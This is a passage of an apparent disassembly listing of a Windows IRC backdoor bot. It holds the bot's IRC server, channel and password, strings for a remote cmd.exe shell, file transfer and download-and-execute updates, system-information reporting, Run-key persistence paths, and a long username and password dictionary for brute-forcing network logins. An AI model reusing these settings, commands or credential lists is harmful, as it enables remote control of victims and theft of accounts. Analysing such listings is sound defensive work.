unk_42B3F0	db    2			; DATA XREF: sub_409FB2:loc_40A083o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 8
unk_42B438	db    2			; DATA XREF: sub_409FB2:loc_40A051o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42B47C	db    2			; DATA XREF: sub_409FB2:loc_40A007o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 8
unk_42B4B8	db    2			; DATA XREF: sub_409FB2+45o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42B4FC	db    2			; DATA XREF: sub_40A133+13Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42B53C	db    2			; DATA XREF: sub_40A133+6Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_42B578	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A2BF+1C7o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42B5B8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40A2BF+8Eo
		dd 2029206Ch, 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A53E+33o
		align 8
dword_42B608	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5:loc_40A6F7o
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42B64C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5+10Fo
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42B688	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A5C5:loc_40A6ABo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 10h
dword_42B6D0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A71A+194o
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 4
dword_42B718	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40A71A+14Co
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40A71A+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40A8CF+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40A9D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40A9D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40A9D8:loc_40AB3Co
		align 4
word_42B85C	dw 3Fh			; DATA XREF: sub_40A9D8:loc_40AADAr
					; sub_40C18B+1Fo
		align 10h
dword_42B860	dd 28207325h, 297325hdword_42B868	dd 3F3F3Fh						; .text:loc_41418Co
a2003		db '2003',0             ; DATA XREF: sub_40A9D8+BAo
					; .text:0042C4ECo ...
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40A9D8+AAo
					; .text:00414177o ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40A9D8+98o
					; .text:00414167o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_40A9D8+7Eo
					; .text:0041414Eo
		align 10h
a98		db '98',0               ; DATA XREF: sub_40A9D8+6Co
					; .text:0041413Eo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40A9D8+5Ao
					; .text:0041412Eo
		align 4
a95		db '95',0               ; DATA XREF: sub_40A9D8+46o
					; .text:00414120o
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40AC8C+ABo
		align 4
off_42B8CC	dd offset loc_412F4E	; DATA XREF: sub_40AC8C:loc_40AD00o
dword_42B8D0	dd 4E414Ch	dword_42B8D4	dd 6C616944h, 70752Dhdword_42B8DC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0unk_42B8F0	db    2			; DATA XREF: sub_40AD52:loc_40AF0Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 4
unk_42B934	db    2			; DATA XREF: sub_40AD52:loc_40AF08o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42B974	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AD52+1A6o
		dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h,	2064696Ch
		dd 2E4C5255h, 2	dup(0)
unk_42B9A8	db    2			; DATA XREF: sub_40AD52:loc_40AEEBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42B9F8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40AD52+192o
		dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h,	69736976h
		dd 2E646574h, 0
dword_42BA28	dd 2A2F2Ah	dword_42BA2C	dd 202E6425h, 3D207325h, 732520hdword_42BA38	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B078+60o
		align 4
dword_42BA6C	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B118+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BAA4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B18A+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BAD4	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B18A+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BAF8	dd 80000002h	off_42BAFC	dd offset aSoftwareMicr_0 ; DATA XREF: sub_40B2B9+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 42C360h, 80000001h, 42C398h
dword_42BB10	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+170o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42BB58	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+ABo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BB9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B459+47o
					; sub_40B61A+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BBD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+362o
					; sub_40B9BC+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BC00	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BC54	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BC8C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BCB8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40B61A+16Ao
		dd 169h
dword_42BCD0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BD04	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BD3C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B61A+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 8
dword_42BD78	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42BDD0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BE04	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40B9BC+97o
dword_42BE48	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B9BC+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_42BE8C	db    2			; DATA XREF: sub_40BBF7+480o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 10h
unk_42BED0	db    2			; DATA XREF: sub_40BBF7+472o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
		align 10h
unk_42BF20	db    2			; DATA XREF: sub_40BBF7+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42BF74	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40BBF7+34Do
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40BBF7+32Bo
					; sub_40CD3A+297Bo ...
		align 10h
unk_42BFB0	db    2			; DATA XREF: sub_40BBF7+2D6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BFFC	db    2			; DATA XREF: sub_40BBF7+257o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42C038	db    2			; DATA XREF: sub_40BBF7+1CDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_42C080	db    2			; DATA XREF: sub_40BBF7:loc_40BD8Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 8
unk_42C0C8	db    2			; DATA XREF: sub_40BBF7+191o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42C114	db    2			; DATA XREF: sub_40BBF7+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C18B:loc_40C1CEo
					; sub_4134AF+104o ...
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C18B:loc_40C1C8o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C18B:loc_40C1C2o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C18B:loc_40C1BCo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C18B:loc_40C1B6o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C18B:loc_40C1B0o
aFailed		db 'failed',0           ; DATA XREF: sub_40C21C:loc_40C2F4o
					; sub_40C337+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40C21C+6Bo
		align 10h
dword_42C190	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C337+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 10h
dword_42C1E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C337+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 10h
aA_1		db 'A:\',0              ; DATA XREF: sub_40C409:loc_40C44Eo
		align 8
dword_42C238	dd 1B58h						; sub_40C574+451r
dword_42C23C	dd 1A0Bh	dword_42C240	dd 1AA6h	dword_42C244	dd 0CCEh						; sub_40CD3A+4E09r
dword_42C248	dd 158Dh						; sub_40CD3A:loc_411C34r
dword_42C24C	dd 1		dword_42C250	dd 1		dword_42C254	dd 1							; sub_40C574:loc_40C89Er
byte_42C258	db 78h			; DATA XREF: sub_40C0D6:loc_40C0E2r
					; sub_40CD3A+A99r ...
		align 4
dword_42C25C	dd 7							; sub_413F42+51r ...
dword_42C260	dd 1							; sub_40CD3A+26Er ...
aIds99		db 'ids99',0            ; DATA XREF: sub_40C574+67o
					; sub_40CD3A+3C7Bo ...
		align 4
aEnz999_9b	db 'enz 999.9b',0       ; DATA XREF: sub_40CD3A:loc_4126FCo
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CD3A+5B32o
					; sub_40CD3A+5BF5o
		align 4
aDd_leetz_info	db 'dd.leetz.info',0    ; DATA XREF: sub_40C574+389o
					; sub_40C574+442o
		align 4
aDd_0		db '#dd',0              ; DATA XREF: sub_40C574+3AAo
					; sub_40C574+458o
aDpass		db 'dpass',0            ; DATA XREF: sub_40C574+3C1o
					; sub_40C574+46Ao
		align 4
byte_42C298	db 64h			; DATA XREF: sub_40C574:loc_40C9F4r
					; sub_40C574+48Eo
		db 64h,	2Eh, 6Ch
		dd 7A746565h, 666E692Eh, 6Fh
dword_42C2A8	dd 646423h	aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C574+4B6o
		align 4
byte_42C2B4	db 6Ch			; DATA XREF: sub_40282F+84o
					; sub_403166+Fo ...
		db 6Eh,	74h, 65h
		dd 74656E72h, 6578652Eh, 0
dword_42C2C4	dd 65746E6Ch, 74656E72h, 642E3233h, 6C6Chdword_42C2D4	dd 69706F54h, 6E6C2063h, 6E726574h, 7465hdword_42C2E4	dd 54484848h, 2Dh, 65746E6Ch, 74656E72h, 6578652Eh, 0
					; DATA XREF: sub_413F42+12o
dword_42C2FC	dd 692Bh	dword_42C300	dd 66666623h, 0						; sub_40CD3A+4C6Eo
dword_42C308	dd 66666623h, 0	dword_42C310	dd 66666623h, 0	a78789		db '78789',0            ; DATA XREF: sub_40282F+9Ao
		align 10h
aDd		db 'dd',0               ; DATA XREF: sub_40282F+95o
		align 4
aDd_		db 'dd.',0              ; DATA XREF: sub_40282F+90o
off_42C328	dd offset a@room	; DATA XREF: sub_40CD3A+5B95r
					; "*@room"
off_42C32C	dd offset aMirc1_7_99	; DATA XREF: sub_40CD3A+87Dr
					; "mirc	1.7.99"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .text:off_42BAFCo
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_414500+28o
					; sub_414826+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_414500+D4o
					; sub_414826+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd offset aAs		; "as"
		dd offset asc_43362C	; "x"
		dd offset aZ_1		; "z"
		dd offset aA_2		; "a"
		align 10h
off_42C440	dd offset byte_43B658	; DATA XREF: sub_404EC7:loc_404F57r
					; sub_404EC7+9Co
		dd offset a@_11		; "!@#$"
		dd offset a@_10		; "!@#$%"
		dd offset a@_9		; "!@#$%^"
		dd offset a@_8		; "!@#$%^&"
		dd offset a@_7		; "!@#$%^&*"
		dd offset asc_4335F4	; "%"
		dd offset dword_42645C
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a007		; "007"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a110		; "110"
		dd offset a111		; "111"
		dd offset a111111	; "111111"
		dd offset a11111111	; "11111111"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a88888888	; "88888888"
		dd offset aAdmin_0	; "Admin"
		dd offset aAdministrado_0 ; "Administrador"
		dd offset aAdministrate_0 ; "Administrateur"
		dd offset aAdministrator ; "Administrator"
		dd offset aAl3x		; "Al3x"
		dd offset aAlex		; "Alex"
		dd offset aAlexander	; "Alexander"
		dd offset aBoth		; "BOTH"
		dd offset aCheck	; "CHECK"
		dd offset aCht		; "CHT"
		dd offset aChangeme	; "Changeme"
		dd offset aDefault_0	; "Default"
		dd offset aDell		; "Dell"
		dd offset aFiles	; "FILES"
		dd offset aFull_0	; "FULL"
		dd offset aGast		; "Gast"
		dd offset aGuest	; "Guest"
		dd offset aInviter	; "Inviter"
		dd offset aLocal	; "LOCAL"
		dd offset aLogin	; "Login"
		dd offset aM_1		; "M$"
		dd offset aMp		; "MP"
		dd offset aMs		; "MS"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aNd		; "ND"
		dd offset aNilez	; "Nilez"
		dd offset aOem		; "OEM"
		dd offset aOwner_0	; "Owner"
		dd offset aPassword	; "Password"
		dd offset aRage		; "RAGE"
		dd offset aRead		; "READ"
		dd offset aRoot_0	; "ROOT"
		dd offset off_4333B4
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aRoss		; "Ross"
		dd offset aServer_1	; "SERVER"
		dd offset aShare_0	; "SHARE"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aStandard	; "Standard"
		dd offset aTest		; "Test"
		dd offset aUnknown	; "Unknown"
		dd offset aUser_1	; "User"
		dd offset aWrite	; "WRITE"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aA_2		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aAbc123	; "abc123"
		dd offset aAbcd		; "abcd"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccess	; "access"
		dd offset aAccount	; "account"
		dd offset aAccounting	; "accounting"
		dd offset aAccounts	; "accounts"
		dd offset aAction	; "action"
		dd offset aAda		; "ada"
		dd offset aAdam		; "adam"
		dd offset aAdm		; "adm"
		dd offset aAdmin123	; "admin123"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAfro		; "afro"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbatross	; "albatross"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlexande	; "alexande"
		dd offset aAlf		; "alf"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlpha	; "alpha"
		dd offset aAlphabet	; "alphabet"
		dd offset aAma		; "ama"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
